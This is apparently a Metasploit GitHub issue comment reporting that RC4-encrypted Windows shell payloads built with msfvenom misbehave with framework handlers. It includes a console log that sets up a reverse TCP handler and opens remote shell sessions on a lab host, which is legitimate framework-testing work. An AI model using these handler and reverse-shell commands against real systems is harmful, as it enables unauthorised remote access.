Open bwatters-r7 opened 5 years ago
I tested this out yesterday and got the same results:
msf5 > use multi/handler
msf5 exploit(multi/handler) > set payload windows/shell/reverse_tcp_rc4
payload => windows/shell/reverse_tcp_rc4
msf5 exploit(multi/handler) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/handler) > set rc4password secret
rc4password => secret
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (271 bytes) to 192.168.37.136
[*] Command shell session 1 opened (192.168.37.1:4444 -> 192.168.37.136:49160) at 2019-10-31 09:42:57 -0500
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (271 bytes) to 192.168.37.136
[*] Command shell session 2 opened (192.168.37.1:4444 -> 192.168.37.136:49161) at 2019-10-31 09:42:57 -0500
whoami
background
Background session 2? [y/N] y
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell windows 192.168.37.1:4444 -> 192.168.37.136:49160 (192.168.37.136)
2 shell x86/windows 192.168.37.1:4444 -> 192.168.37.136:49161 (192.168.37.136)
msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
[*] 192.168.37.136 - Command shell session 1 closed.
msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
whoami
net users
It appears that RC4 encrypted shell payloads built with venom are incompatible with rc4 encrypted handlers in framework? Automated testing suggests this is something across both staged and stageless x86 and x64 windows shell payloads. (Unsure if this is also a mettle problem)
This is not the case with rc4 encrypted payloads created by framework for use in exploits; those appear to work. It is only when you build the payload in venom and call back to a multi/handler.
Meterpreter sessions do not appear to be affected.
Works fine as part of an exploit:
Fails when using venom:
I'm on commit b7acbfe8b6fe4060e1494003b31c627b94f2fb5e